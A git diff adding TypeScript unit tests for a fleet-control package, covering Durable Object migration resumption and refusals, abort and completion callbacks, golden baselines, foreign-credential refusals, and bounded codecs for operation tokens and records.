+        durableObjectTag:
+          shape === 'consistent-intermediate'
+            ? 'v2'
+            : shape === 'bare-foreign'
+              ? 'foreign'
+              : 'v3',
+      };
+      if (shape === 'consistent-intermediate') {
+        current.durableObjectMigrationHistory = history.slice(0, 2);
+        current.durableObjectMigrationHistoryDigest =
+          durableObjectMigrationHistoryDigest(history.slice(0, 2));
+      } else if (shape === 'no-history-target') {
+        delete current.durableObjectMigrationHistory;
+        delete current.durableObjectMigrationHistoryDigest;
+      }
+      foreign.fleetStore.set(current);
+      foreign.ops.length = 0;
+      const writes = foreign.fleetStore.puts.length;
+      const expected =
+        shape === 'consistent-intermediate'
+          ? "Durable Object migration base mismatch for cedar:production: expected 'v2'"
+          : shape === 'no-history-target'
+            ? 'platform-authored Durable Object state has no persisted migration history'
+            : 'platform-authored Durable Object migration history is internally inconsistent';
+      await expect(continueWorld(foreign, pending)).rejects.toThrow(expected);
+      expectItemFailure(foreign);
+      expect(foreign.fleetStore.puts).toHaveLength(writes);
+      expect(providerMutations(foreign)).toEqual([]);
+    }
+  });
+
+  it('external ordinary-plane DO-tag movement resumes FULL, PO and READY plans while preserving strict fresh-admission refusal', async () => {
+    for (const path of ['full', 'platform-only', 'ready'] as const) {
+      const { world, target } = finalizedWorld(path);
+      const step =
+        path === 'full'
+          ? 'platform-resources'
+          : path === 'platform-only'
+            ? 'platform-only-resources'
+            : 'ready-platform-resources';
+      const pending = await advanceTo(world, step);
+      world.ops.length = 0;
+      const moved = await continueWorld(world, pending);
+      expect(world.current()).toMatchObject({
+        durableObjectTag: 'state-v2',
+        platformResources: {
+          stateWorker: { plane: 'ordinary', durableObjectTag: 'state-v2' },
+        },
+      });
+      expect(world.current().durableObjectMigrationHistoryDigest).toBe(
+        target.stateDurableObjectHistoryDigest,
+      );
+      expect(world.ops.indexOf('finalizedFor')).toBeGreaterThan(
+        world.ops.indexOf('secrets:cedar'),
+      );
+      expect(world.ops.indexOf('finalizedTarget')).toBeGreaterThan(
+        world.ops.indexOf('finalizedFor'),
+      );
+      expect(world.ops.indexOf('finalizedEnsure')).toBeGreaterThan(
+        world.ops.lastIndexOf('finalizedPlan'),
+      );
+      expect(world.ops.indexOf('finalizedCommit')).toBeGreaterThan(
+        world.ops.indexOf('finalizedEnsure'),
+      );
+      expect(world.ops).not.toContain('platform');
+      if (path === 'full') {
+        const stillMigrating = copy(world.current());
+        const freshStore = new MemoryOperationStore();
+        const start = await advanceFleetMigration({
+          ...world.options({
+            kind: 'start',
+            operationId: uuid(2),
+            records: [stillMigrating],
+            canaryTenantTags: [],
+          }),
+          operationStore: freshStore,
+        });
+        await expect(
+          advanceFleetMigration({
+            ...world.options({ kind: 'continue', token: start.token }),
+            operationStore: freshStore,
+          }),
+        ).rejects.toThrow(
+          "Durable Object migration base mismatch for cedar:production: expected 'state-v2'",
+        );
+        await expect(migrateWorld(world)).rejects.toThrow(
+          "Durable Object migration base mismatch for cedar:production: expected 'state-v2'",
+        );
+        expect(freshStore.item(uuid(2)).status).toBe('failed');
+      }
+      const completed = await drainWorld(world, moved);
+      expect(completed).toMatchObject({ status: 'complete' });
+      const item = world.operationStore.item();
+      expect(item.planCursor).toBe(item.plan?.length);
+      expect(item.plan?.at(-1)?.step).toBe(
+        path === 'full'
+          ? 'retire-post'
+          : path === 'platform-only'
+            ? 'platform-only-ready'
+            : 'ready-retire-post',
+      );
+      expect(world.current().durableObjectTag).toBe('state-v2');
+      const fresh = await world.start(uuid(3), [world.current()]);
+      await expect(continueWorld(world, fresh)).rejects.toThrow(
+        "Durable Object migration base mismatch for cedar:production: expected 'state-v2'",
+      );
+      await expect(migrateWorld(world)).rejects.toThrow(
+        "Durable Object migration base mismatch for cedar:production: expected 'state-v2'",
+      );
+      expect(world.operationStore.item(uuid(3)).status).toBe('failed');
+    }
+    for (const afterReconcile of [false, true]) {
+      for (const consistent of [false, true]) {
+        const { world } = finalizedWorld();
+        let token = await advanceTo(world, 'platform-resources');
+        if (afterReconcile) token = await continueWorld(world, token);
+        const current = world.current();
+        if (!current.platformResources) throw new Error('missing resources');
+        world.fleetStore.set({
+          ...current,
+          durableObjectTag: 'foreign-tag',
+          ...(consistent
+            ? {
+                platformResources: {
+                  ...current.platformResources,
+                  stateWorker: {
+                    ...current.platformResources.stateWorker,
+                    durableObjectTag: 'foreign-tag',
+                  },
+                },
+              }
+            : {}),
+        });
+        world.ops.length = 0;
+        const puts = world.fleetStore.puts.length;
+        if (!consistent) {
+          await expect(continueWorld(world, token)).rejects.toThrow(
+            "Durable Object migration base mismatch for cedar:production: expected 'foreign-tag'",
+          );
+          expectItemFailure(world);
+          expect(world.fleetStore.puts).toHaveLength(puts);
+          expect(providerMutations(world)).toEqual([]);
+          expect(world.ops).not.toContain('finalizedEnsure');
+        } else {
+          const next = await continueWorld(world, token);
+          expect(world.current().durableObjectTag).toBe(
+            afterReconcile ? 'foreign-tag' : 'state-v2',
+          );
+          expect(await drainWorld(world, next)).toMatchObject({
+            status: 'complete',
+          });
+          expect(world.current().durableObjectTag).toBe(
+            afterReconcile ? 'foreign-tag' : 'state-v2',
+          );
+          const fresh = await world.start(uuid(2), [world.current()]);
+          await expect(continueWorld(world, fresh)).rejects.toThrow(
+            `Durable Object migration base mismatch for cedar:production: expected '${afterReconcile ? 'foreign-tag' : 'state-v2'}'`,
+          );
+        }
+      }
+    }
+  });
+});
+
+describe('bounded fleet migration abort signal and completion callback', () => {
+  it('an already-aborted start rejects with the sentinel and writes nothing', async () => {
+    const world = createWorld();
+    const sentinel = new Error('host cancelled the migration');
+    await expect(
+      advanceFleetMigration({
+        ...world.options({
+          kind: 'start',
+          operationId: uuid(),
+          records: [world.initial],
+          canaryTenantTags: [],
+        }),
+        signal: AbortSignal.abort(sentinel),
+      }),
+    ).rejects.toBe(sentinel);
+    expect(providerMutations(world)).toEqual([]);
+    expect(world.ops).toEqual([]);
+    expect(world.operationStore.calls).toEqual([]);
+    expect(world.operationStore.operations.size).toBe(0);
+    expect(world.operationStore.rows.size).toBe(0);
+    expect(world.fleetStore.puts).toEqual([]);
+  });
+
+  it('an abort raised before the item step leaves the operation resumable', async () => {
+    const world = createWorld();
+    const started = await world.start();
+    const item = world.operationStore.item();
+    const run = copy(world.operationStore.operations.get(uuid()));
+    const sentinel = new Error('host cancelled between calls');
+    const controller = new AbortController();
+    world.operationStore.beforeLease = () => controller.abort(sentinel);
+    world.ops.length = 0;
+    world.operationStore.calls.length = 0;
+    await expect(
+      advanceFleetMigration({
+        ...world.options({ kind: 'continue', token: started.token }),
+        signal: controller.signal,
+      }),
+    ).rejects.toBe(sentinel);
+    expect(providerMutations(world)).toEqual([]);
+    expect(world.operationStore.item()).toEqual(item);
+    expect(world.operationStore.operations.get(uuid())).toEqual(run);
+    expect(world.operationStore.calls).toEqual([]);
+    expect(world.operationStore.failures).toEqual([]);
+    world.operationStore.beforeLease = undefined;
+    const resumed = await advanceFleetMigration({
+      ...world.options({ kind: 'continue', token: started.token }),
+      signal: new AbortController().signal,
+    });
+    expect(await drainWorld(world, resumed)).toMatchObject({
+      status: 'complete',
+    });
+  });
+
+  it('completion invokes onComplete once with the returned result, after the durable finalize and with the operation lease released', async () => {
+    const world = createWorld();
+    const seen: unknown[] = [];
+    const states: (string | undefined)[] = [];
+    const held: boolean[] = [];
+    armOptions(world, {
+      async onComplete(result) {
+        seen.push(result);
+        states.push(world.operationStore.operations.get(uuid())?.state);
+        held.push(world.operationStore.locked.has('migration'));
+      },
+    });
+    const final = await drainWorld(world, await armedStart(world));
+    if (final.status !== 'complete') throw new Error('expected a complete run');
+    expect(seen).toEqual([final.result]);
+    expect(seen[0]).toBe(final.result);
+    expect(states).toEqual(['finalized']);
+    expect(held).toEqual([false]);
+  });
+
+  it('a continue on the finalized operation delivers onComplete again', async () => {
+    const world = createWorld();
+    const seen: unknown[] = [];
+    armOptions(world, {
+      onComplete(result) {
+        seen.push(result);
+      },
+    });
+    const final = await drainWorld(world, await armedStart(world));
+    if (final.status !== 'complete') throw new Error('expected a complete run');
+    const replayed = await continueWorld(world, final);
+    if (replayed.status !== 'complete')
+      throw new Error('expected a complete replay');
+    expect(seen).toHaveLength(2);
+    expect(seen[1]).toBe(replayed.result);
+    expect(replayed.result).toEqual(final.result);
+    expect(
+      world.operationStore.calls.filter((call) => call === 'finalize'),
+    ).toHaveLength(1);
+  });
+
+  it('a replayed start carrying the same intake delivers onComplete again, with the operation lease released', async () => {
+    const world = createWorld();
+    const seen: unknown[] = [];
+    const held: boolean[] = [];
+    armOptions(world, {
+      onComplete(result) {
+        seen.push(result);
+        held.push(world.operationStore.locked.has('migration'));
+      },
+    });
+    const final = await drainWorld(world, await armedStart(world));
+    if (final.status !== 'complete') throw new Error('expected a complete run');
+    const replayed = await armedStart(world);
+    if (replayed.status !== 'complete')
+      throw new Error('expected a complete replay');
+    expect(seen).toHaveLength(2);
+    expect(seen[1]).toBe(replayed.result);
+    expect(replayed.result).toEqual(final.result);
+    expect(held).toEqual([false, false]);
+    expect(
+      world.operationStore.calls.filter((call) => call === 'finalize'),
+    ).toHaveLength(1);
+  });
+
+  it.each([
+    'asynchronously',
+    'synchronously',
+  ] as const)('an onComplete that fails %s rejects the call and leaves the operation finalized', async (mode) => {
+    const world = createWorld();
+    const sentinel = new Error('host completion callback failed');
+    const base = world.options;
+    const onComplete =
+      mode === 'synchronously'
+        ? () => {
+            throw sentinel;
+          }
+        : () => Promise.reject(sentinel);
+    armOptions(world, { onComplete });
+    const started = await armedStart(world);
+    await expect(drainWorld(world, started)).rejects.toBe(sentinel);
+    expect(world.operationStore.operations.get(uuid())).toMatchObject({
+      state: 'finalized',
+    });
+    world.options = base;
+    expect(await continueWorld(world, started)).toMatchObject({
+      status: 'complete',
+    });
+  });
+
+  it('omitting both options drains exactly as inert ones do', async () => {
+    const plain = createWorld();
+    const drained = await drainWorld(plain);
+    const armed = createWorld();
+    const controller = new AbortController();
+    const seen: unknown[] = [];
+    armOptions(armed, {
+      signal: controller.signal,
+      onComplete(result) {
+        seen.push(result);
+      },
+    });
+    expect(await drainWorld(armed, await armedStart(armed))).toEqual(drained);
+    expect(armed.ops).toEqual(plain.ops);
+    expect(armed.operationStore.calls).toEqual(plain.operationStore.calls);
+    expect(armed.operationStore.item()).toEqual(plain.operationStore.item());
+    expect(seen).toHaveLength(1);
+  });
+});
diff --git a/packages/fleet-control/test/fleet-migration-golden.test.ts b/packages/fleet-control/test/fleet-migration-golden.test.ts
new file mode 100644
index 00000000..125d3ce6
--- /dev/null
+++ b/packages/fleet-control/test/fleet-migration-golden.test.ts
@@ -0,0 +1,131 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { describe, expect, it, vi } from 'vitest';
+import * as fleet from '../src/fleet.js';
+import { deploymentSpecDigest } from '../src/spec-digest.js';
+import {
+  MIGRATION_STOP_BASELINE_ERROR,
+  MIGRATION_STOP_BASELINE_OPS,
+  MIGRATION_SUCCESS_BASELINE_OPS,
+  MIGRATION_SUCCESS_BASELINE_RESULT,
+} from './fixtures/fleet-migration-baseline.js';
+import {
+  runFleetMigrationStopBaseline,
+  runFleetMigrationSuccessBaseline,
+} from './fixtures/fleet-migration-worlds.js';
+
+describe('fleet migration golden baselines', () => {
+  it('migrates the recorded success world into the frozen golden records and op log', async () => {
+    const { result, ops } = await runFleetMigrationSuccessBaseline();
+
+    expect(result).toStrictEqual(MIGRATION_SUCCESS_BASELINE_RESULT);
+    expect(ops).toStrictEqual(MIGRATION_SUCCESS_BASELINE_OPS);
+  });
+
+  it('stops the recorded stop world on the frozen golden refusal and op log', async () => {
+    const { error, ops } = await runFleetMigrationStopBaseline();
+
+    expect(error).toStrictEqual(MIGRATION_STOP_BASELINE_ERROR);
+    expect(ops).toStrictEqual(MIGRATION_STOP_BASELINE_OPS);
+  });
+
+  it('refuses an unknown database before recording an apply token', async () => {
+    const migrate = vi
+      .spyOn(fleet, 'migrateFleet')
+      .mockImplementationOnce(async (options) => {
+        const record = options.records.find(
+          ({ tenantTag }) => tenantTag === 'plainmulti',
+        );
+        if (!record) throw new Error('missing plainmulti fixture');
+        const backend = options.backendFor(record);
+        const spec = options.specFor(record);
+        await expect
+          .soft(
+            backend.applyMigrations(
+              { id: 'db-unknown', name: 'database-unknown', created: false },
+              spec.migrations,
+              { mutationLeaseTtlMs: 900_000, assertOwned: async () => {} },
+            ),
+          )
+          .rejects.toThrowError(
+            new Error("no spec fixture for database 'db-unknown'"),
+          );
+        return options.records;
+      });
+
+    try {
+      const { ops } = await runFleetMigrationSuccessBaseline();
+      expect(
+        ops.filter((op) => op.startsWith('applyMigrations:')),
+      ).toStrictEqual([]);
+    } finally {
+      migrate.mockRestore();
+    }
+  });
+
+  it.each([
+    ['extfull', 'deploymentIdentity', 'deployment identity'],
+    ['extfull', 'maintenanceAdmin', 'maintenance'],
+    ['plainmulti', 'deploymentIdentity', 'deployment identity'],
+    ['plainmulti', 'maintenanceAdmin', 'maintenance'],
+  ] as const)('refuses %s upload with a foreign %s before changing live state', async (tenantTag, credential, label) => {
+    const message = `${label} credential for '${tenantTag}:production' reached a call for another deployment`;
+    const migrate = vi
+      .spyOn(fleet, 'migrateFleet')
+      .mockImplementationOnce(async (options) => {
+        const record = options.records.find(
+          (record) => record.tenantTag === tenantTag,
+        );
+        const foreignRecord = options.records.find(
+          (record) => record.tenantTag !== tenantTag,
+        );
+        if (!record || !foreignRecord)
+          throw new Error('missing credential fixtures');
+        const backend = options.backendFor(record);
+        const spec = options.specFor(record);
+        const secrets = options.secretsFor(record);
+        const foreignSecrets = options.secretsFor(foreignRecord);
+        const before = structuredClone(
+          await backend.inspect(spec, secrets.maintenanceAdmin, undefined),
+        );
+        if (tenantTag === 'extfull') {
+          expect(before).toBeUndefined();
+        } else {
+          expect(before).toBeDefined();
+          expect(before?.desiredSpecDigest).not.toBe(
+            deploymentSpecDigest(spec),
+          );
+        }
+
+        await expect
+          .soft(
+            backend.deployWorker(
+              spec,
+              {
+                id: record.databaseId,
+                name: record.databaseName,
+                created: false,
+              },
+              { ...secrets, [credential]: foreignSecrets[credential] },
+              record.platformResources,
+              { mutationLeaseTtlMs: 900_000, assertOwned: async () => {} },
+              undefined,
+              record.applicationBindings,
+            ),
+          )
+          .rejects.toThrowError(new Error(message));
+        expect(
+          await backend.inspect(spec, secrets.maintenanceAdmin, undefined),
+        ).toStrictEqual(before);
+        return options.records;
+      });
+
+    try {
+      await expect(runFleetMigrationSuccessBaseline()).rejects.toThrowError(
+        new Error(`fence violated: ${message}`),
+      );
+    } finally {
+      migrate.mockRestore();
+    }
+  });
+});
diff --git a/packages/fleet-control/test/fleet-operation-state.test.ts b/packages/fleet-control/test/fleet-operation-state.test.ts
new file mode 100644
index 00000000..d2bf8488
--- /dev/null
+++ b/packages/fleet-control/test/fleet-operation-state.test.ts
@@ -0,0 +1,1190 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { createHash } from 'node:crypto';
+import { describe, expect, it } from 'vitest';
+import type { DriftFinding } from '../src/fleet.js';
+import {
+  driftFindingRowFromUnknown,
+  FLEET_AUDIT_STAGE_ORDER,
+  type FleetAuditFindingKind,
+  fleetAuditFactRowFromUnknown,
+  fleetAuditOperationRecordFromUnknown,
+  fleetAuditStageFromUnknown,
+  nextAuditStage,
+  withheldAuditDetail,
+} from '../src/fleet-audit-state.js';
+import {
+  FLEET_MIGRATION_STEPS,
+  fleetMigrationItemFromUnknown,
+  fleetMigrationOperationRecordFromUnknown,
+  fleetMigrationPlanEntryFromUnknown,
+} from '../src/fleet-migration-state.js';
+import {
+  assertFleetOperationId,
+  canonicalFleetOperationBytes,
+  classifyFleetOperationToken,
+  FLEET_MIGRATION_PLAN_BOUND,
+  FLEET_OPERATION_INTAKE_BYTE_BOUND,
+  FLEET_OPERATION_RECORD_BYTE_BOUND,
+  FLEET_OPERATION_RECORD_ROW_BYTE_BOUND,
+  FLEET_OPERATION_ROW_PAYLOAD_BYTE_BOUND,
+  FLEET_OPERATION_SINGLE_UPDATE_ROW_MESSAGE,
+  FLEET_OPERATION_STRING_BYTE_BOUND,
+  FLEET_OPERATION_TOKEN_BYTE_BOUND,
+  type FleetOperationRunRecord,
+  type FleetOperationStagedRow,
+  FleetOperationStateError,
+  FleetOperationTokenError,
+  FleetOperationTokenFutureError,
+  FleetOperationTokenKindError,
+  FleetOperationTokenOperationError,
+  fleetOperationIntakeDigest,
+  fleetOperationItemsIntake,
+  fleetOperationOtherKindMessage,
+  fleetOperationRunRecordFromUnknown,
+  fleetOperationStagedRowFromUnknown,
+  fleetOperationWatermarkRunMessage,
+  isDurableAuditDetailSafe,
+  parseFleetOperationToken,
+} from '../src/fleet-operation-state.js';
+import type { FleetRecord } from '../src/types.js';
+import {
+  FakeOperationStore,
+  uuidFor,
+} from './fixtures/fleet-operation-fakes.js';
+
+const OPERATION_ID = '123e4567-e89b-42d3-a456-426614174000';
+const NOW = '2026-09-01T00:00:00.000Z';
+
+function auditProgress(revision = 0) {
+  return {
+    kind: 'audit' as const,
+    revision,
+    stage: { step: 'provider-findings' as const, rowOrdinal: 0 },
+    generation: 1,
+    auditTimeMs: 1_700_000_000_000,
+    staleAfterMs: 60_000,
+    recordCount: 1,
+    findingCount: 0,
+    factCount: 0,
+  };
+}
+
+function auditRecord(revision = 0) {
+  return {
+    version: 1 as const,
+    operationId: OPERATION_ID,
+    kind: 'audit' as const,
+    state: 'running' as const,
+    progress: auditProgress(revision),
+    updatedAt: NOW,
+  };
+}
+
+function migrationItem(
+  status: 'pending' | 'active' | 'complete' | 'failed' = 'pending',
+) {
+  const common = {
+    ordinal: 0,
+    tenantTag: 'tenant',
+    environment: 'production',
+    entryRecordDigest: 'a'.repeat(64),
+    status,
+  };
+  return status === 'pending'
+    ? common
+    : {
+        ...common,
+        targetSpecDigest: 'b'.repeat(64),
+        plan: [{ step: 'apply-migrations', targetSchemaVersion: 2 }],
+        planCursor: status === 'complete' ? 1 : 0,
+      };
+}
+
+function migrationRecord() {
+  return {
+    version: 1 as const,
+    operationId: OPERATION_ID,
+    kind: 'migration' as const,
+    state: 'running' as const,
+    progress: {
+      kind: 'migration' as const,
+      revision: 0,
+      itemCount: 1,
+      activeItemOrdinal: 0,
+      completedItemCount: 0,
+    },
+    updatedAt: NOW,
+  };
+}
+
+function nested(depth: number): unknown {
+  let value: unknown = 'leaf';
+  for (let index = 0; index < depth; index += 1) value = { value };
+  return value;
+}
+
+describe('fleet operation state', () => {
+  it('token round-trip + exact-key refusal', () => {
+    const token = { version: 1, operationId: OPERATION_ID, revision: 7 };
+    expect(parseFleetOperationToken(token)).toEqual(token);
+    expect(() => parseFleetOperationToken({ ...token, cursor: 1 })).toThrow(
+      FleetOperationTokenError,
+    );
+  });
+
+  it('token classification order generic → operation → kind → future → stale/current (with expectedKind)', () => {
+    expect(() => parseFleetOperationToken(null)).toThrow(
+      FleetOperationTokenError,
+    );
+    const token = parseFleetOperationToken({
+      version: 1,
+      operationId: OPERATION_ID,
+      revision: 1,
+    });
+    expect(() =>
+      classifyFleetOperationToken(token, undefined, 'audit'),
+    ).toThrow(FleetOperationTokenOperationError);
+    expect(() =>
+      classifyFleetOperationToken(token, migrationRecord(), 'audit'),
+    ).toThrow(FleetOperationTokenKindError);
+    expect(() =>
+      classifyFleetOperationToken(token, auditRecord(0), 'audit'),
+    ).toThrow(FleetOperationTokenFutureError);
+    expect(classifyFleetOperationToken(token, auditRecord(2), 'audit')).toBe(
+      'stale',
+    );
+    expect(classifyFleetOperationToken(token, auditRecord(1), 'audit')).toBe(
+      'current',
+    );
+  });
+
+  it('envelope record codec round-trip + bound refusals', () => {
+    expect(fleetOperationRunRecordFromUnknown(auditRecord())).toEqual(
+      auditRecord(),
+    );
+    expect(() =>
+      fleetOperationRunRecordFromUnknown({
+        ...auditRecord(),
+        progress: { ...auditProgress(), extra: 'x'.repeat(100_000) },
+      }),
+    ).toThrow(FleetOperationStateError);
+    expect(() =>
+      fleetOperationRunRecordFromUnknown({
+        ...auditRecord(),
+        state: 'failed',
+        progress: { ...auditProgress(), failure: { reason: 'unknown' } },
+      }),
+    ).toThrow(FleetOperationStateError);
+    expect(() =>
+      fleetOperationRunRecordFromUnknown({
+        ...auditRecord(),
+        state: 'failed',
+        progress: {
+          ...auditProgress(),
+          failure: { reason: 'item-failed', itemOrdinal: 0.5 },
+        },
+      }),
+    ).toThrow(FleetOperationStateError);
+  });
+
+  it('audit refinement codec round-trip + vocabulary refusal', () => {
+    expect(fleetAuditOperationRecordFromUnknown(auditRecord())).toEqual(
+      auditRecord(),
+    );
+    expect(() =>
+      fleetAuditOperationRecordFromUnknown({
+        ...auditRecord(),
+        progress: { ...auditProgress(), auditTimeMs: 9e15 },
+      }),
+    ).toThrow(FleetOperationStateError);
+    expect(() =>
+      fleetAuditOperationRecordFromUnknown({
+        ...auditRecord(),
+        progress: { ...auditProgress(), staleAfterMs: 0 },
+      }),
+    ).toThrow(FleetOperationStateError);
+    expect(() =>
+      driftFindingRowFromUnknown({
+        tenantTag: 'tenant',
+        environment: 'production',
+        kind: 'not-a-finding',
+        detail: 'safe',
+      }),
+    ).toThrow(FleetOperationStateError);
+    expect(() =>
+      fleetAuditFactRowFromUnknown({
+        factKind: 'database-owner',
+        key: 'database-name',
+        tenantTag: 'Prod-1',
+        environment: 'production',
+      }),
+    ).toThrow(FleetOperationStateError);
+  });
+
+  it('migration refinement codec round-trip + item/status vocabulary refusal (incl. targetSpecDigest/plan/planCursor optionality by status)', () => {
+    expect(fleetMigrationOperationRecordFromUnknown(migrationRecord())).toEqual(
+      migrationRecord(),
+    );
+    for (const status of ['pending', 'active', 'complete', 'failed'] as const) {
+      expect(fleetMigrationItemFromUnknown(migrationItem(status)).status).toBe(
+        status,
+      );
+      for (let presence = 0; presence < 8; presence += 1) {
+        const admitted = migrationItem(
+          status === 'complete' ? 'complete' : 'active',
+        );
+        if (!('plan' in admitted))
+          throw new Error('missing admitted fixture fields');
+        const candidate = {
+          ...migrationItem('pending'),
+          status,
+          ...(presence & 1
+            ? { targetSpecDigest: admitted.targetSpecDigest }
+            : {}),
+          ...(presence & 2 ? { plan: admitted.plan } : {}),
+          ...(presence & 4 ? { planCursor: admitted.planCursor } : {}),
+        };
+        const accepted =
+          status === 'pending'
+            ? presence === 0
+            : status === 'failed'
+              ? presence === 0 || presence === 7
+              : presence === 7;
+        if (accepted) {
+          expect(fleetMigrationItemFromUnknown(candidate)).toEqual(candidate);
+        } else {
+          expect(() => fleetMigrationItemFromUnknown(candidate)).toThrow(
+            FleetOperationStateError,
+          );
+        }
+      }
+    }
+    expect(() =>
+      fleetMigrationItemFromUnknown({
+        ...migrationItem('pending'),
+        status: 'waiting',
+      }),
+    ).toThrow(FleetOperationStateError);
+    expect(() =>
+      fleetMigrationItemFromUnknown({
+        ...migrationItem('pending'),
+        targetSpecDigest: 'b'.repeat(64),
+      }),
+    ).toThrow(FleetOperationStateError);
+    expect(() =>
+      fleetMigrationItemFromUnknown({
+        ...migrationItem('active'),
+        targetSpecDigest: undefined,
+      }),
+    ).toThrow(FleetOperationStateError);
+    expect(() =>
+      fleetMigrationItemFromUnknown({
+        ...migrationItem('active'),
+        plan: undefined,
+      }),
+    ).toThrow(FleetOperationStateError);
+    expect(() =>
+      fleetMigrationItemFromUnknown({
+        ...migrationItem('complete'),
+        planCursor: 0,
+      }),
+    ).toThrow(FleetOperationStateError);
+    expect(fleetMigrationItemFromUnknown(migrationItem('complete'))).toEqual(
+      migrationItem('complete'),
+    );
+    expect(() =>
+      fleetMigrationItemFromUnknown({
+        ...migrationItem('pending'),
+        tenantTag: 'Prod-1',
+      }),
+    ).toThrow(FleetOperationStateError);
+  });
+
+  it('staged-row codec exact keys + row-kind vocabulary refusal', () => {
+    const row = { rowKind: 'record', ordinal: 0, payload: { value: true } };
+    expect(fleetOperationStagedRowFromUnknown(row)).toEqual(row);
+    expect(() =>
+      fleetOperationStagedRowFromUnknown({ ...row, extra: true }),
+    ).toThrow(FleetOperationStateError);
+    expect(() =>
+      fleetOperationStagedRowFromUnknown({ ...row, rowKind: 'cursor' }),
+    ).toThrow(FleetOperationStateError);
+  });
+
+  it('record byte bound fails closed; the token codec refuses oversized and unknown-key input', () => {
+    expect(() =>
+      parseFleetOperationToken({
+        version: 1,
+        operationId:
+          OPERATION_ID + 'x'.repeat(FLEET_OPERATION_TOKEN_BYTE_BOUND),
+        revision: 0,
+      }),
+    ).toThrow(FleetOperationTokenError);
+    // A tiny forbidden value, so the exact-key check is what refuses it.
+    expect(() =>
+      parseFleetOperationToken({
+        version: 1,
+        operationId: OPERATION_ID,
+        revision: 0,
+        padding: 'x',
+      }),
+    ).toThrow(FleetOperationTokenError);
+    const padding = Object.fromEntries(
+      Array.from(
+        { length: Math.floor(FLEET_OPERATION_RECORD_BYTE_BOUND / 4000) + 1 },
+        (_, index) => [`padding${index}`, 'x'.repeat(4000)],
+      ),
+    );
+    expect(() =>
+      fleetOperationRunRecordFromUnknown({
+        ...auditRecord(),
+        progress: { ...auditProgress(), padding },
+      }),
+    ).toThrow(FleetOperationStateError);
+  });
+
+  it('string/depth/node bounds fail closed', () => {
+    expect(() =>
+      fleetOperationRunRecordFromUnknown({
+        ...auditRecord(),
+        progress: {
+          ...auditProgress(),
+          text: 'x'.repeat(FLEET_OPERATION_STRING_BYTE_BOUND + 1),
+        },
+      }),
+    ).toThrow(FleetOperationStateError);
+    expect(() =>
+      fleetOperationRunRecordFromUnknown({
+        ...auditRecord(),
+        progress: { ...auditProgress(), nested: nested(65) },
+      }),
+    ).toThrow(FleetOperationStateError);
+    expect(() =>
+      fleetOperationRunRecordFromUnknown({
+        ...auditRecord(),
+        progress: { ...auditProgress(), nodes: Array(8193).fill(0) },
+      }),
+    ).toThrow(FleetOperationStateError);
+  });
+
+  it('row payload 16 KiB bound + 96 KiB record-row allowance', () => {
+    const valueBytes = 3000;
+    const rowPayloadOverflowCount =
+      Math.floor(FLEET_OPERATION_ROW_PAYLOAD_BYTE_BOUND / valueBytes) + 1;
+    const recordRowOverflowCount =
+      Math.floor(FLEET_OPERATION_RECORD_ROW_BYTE_BOUND / valueBytes) + 1;
+    const payload = Object.fromEntries(
+      Array.from({ length: rowPayloadOverflowCount }, (_, index) => [
+        `value${index}`,
+        'x'.repeat(valueBytes),
+      ]),
+    );
+    expect(() =>
+      fleetOperationStagedRowFromUnknown({
+        rowKind: 'finding',
+        ordinal: 0,
+        payload,
+      }),
+    ).toThrow(FleetOperationStateError);
+    expect(
+      fleetOperationStagedRowFromUnknown({
+        rowKind: 'record',
+        ordinal: 0,
+        payload,
+      }).payload,
+    ).toEqual(payload);
+    expect(() =>
+      fleetOperationStagedRowFromUnknown({
+        rowKind: 'record',
+        ordinal: 0,
+        payload: Object.fromEntries(
+          Array.from({ length: recordRowOverflowCount }, (_, index) => [
+            `value${index}`,
+            'x'.repeat(valueBytes),
+          ]),
+        ),
+      }),
+    ).toThrow(FleetOperationStateError);
+  });
+
+  it('intake byte bound refusal above and acceptance at the bound', () => {
+    const atBound = Array.from({ length: 4096 }, (_, index) =>
+      'x'.repeat(index === 0 ? 4092 : 4093),
+    );
+    expect(canonicalFleetOperationBytes(atBound).length).toBe(
+      FLEET_OPERATION_INTAKE_BYTE_BOUND,
+    );
+    expect(() => fleetOperationIntakeDigest(atBound)).not.toThrow();
+    const aboveBound = [...atBound];
+    aboveBound[0] = `${aboveBound[0]}x`;
+    expect(() => fleetOperationIntakeDigest(aboveBound)).toThrow(
+      FleetOperationStateError,
+    );
+  });
+
+  it('structured-field validation accepts any bounded provider-claimed finding tag — empty and control-byte values included — and rejects an over-bound one', () => {
+    const base = {
+      environment: 'production',
+      kind: 'audit-error',
+      detail: 'safe detail',
+    } as const;
+    for (const tenantTag of ['bearer', 'Prod-1', 'Bad\nTag', '']) {
+      expect(driftFindingRowFromUnknown({ ...base, tenantTag }).tenantTag).toBe(
+        tenantTag,
+      );
+    }
+    expect(() =>
+      driftFindingRowFromUnknown({
+        ...base,
+        tenantTag: 'x'.repeat(FLEET_OPERATION_STRING_BYTE_BOUND + 1),
+      }),
+    ).toThrow(FleetOperationStateError);
+  });
+
+  it('isDurableAuditDetailSafe rejects control bytes AND credential substrings; accepts a long spaced benign detail', () => {
+    expect(isDurableAuditDetailSafe('line\nsecret')).toBe(false);
+    for (const marker of ['Authorization', 'BEARER', 'x-auth', 'API_TOKEN']) {
+      expect(isDurableAuditDetailSafe(`provider said ${marker}`)).toBe(false);
+    }
+    expect(isDurableAuditDetailSafe('safe words '.repeat(300))).toBe(true);
+  });
+
+  it('the row codecs accept an empty finding detail and an empty or control-byte fact key on every fact kind, and reject a control-byte detail', () => {
+    expect(
+      driftFindingRowFromUnknown({
+        tenantTag: 'tenant',
+        environment: 'production',
+        kind: 'audit-error',
+        detail: '',
+      }).detail,
+    ).toBe('');
+    expect(() =>
+      driftFindingRowFromUnknown({
+        tenantTag: 'tenant',
+        environment: 'production',
+        kind: 'audit-error',
+        detail: 'unsafe\u0000detail',
+      }),
+    ).toThrow(FleetOperationStateError);
+    for (const key of ['', 'database\nname']) {
+      expect(
+        fleetAuditFactRowFromUnknown({
+          factKind: 'duplicate-namespace',
+          key,
+        }).key,
+      ).toBe(key);
+      // The owner kinds admit the same keys through the same bounded
+      // provider-text guard, but their arm asserts FOUR exact keys and
+      // validates `tenantTag`/`environment` against the deployment grammar,
+      // so the fixture has to carry grammar-valid values for those two or
+      // the very first iteration refuses for the wrong reason.
+      for (const factKind of ['database-owner', 'namespace-owner'] as const) {
+        expect(
+          fleetAuditFactRowFromUnknown({
+            factKind,
+            key,
+            tenantTag: 'tenant',
+            environment: 'production',
+          }).key,
+        ).toBe(key);
+      }
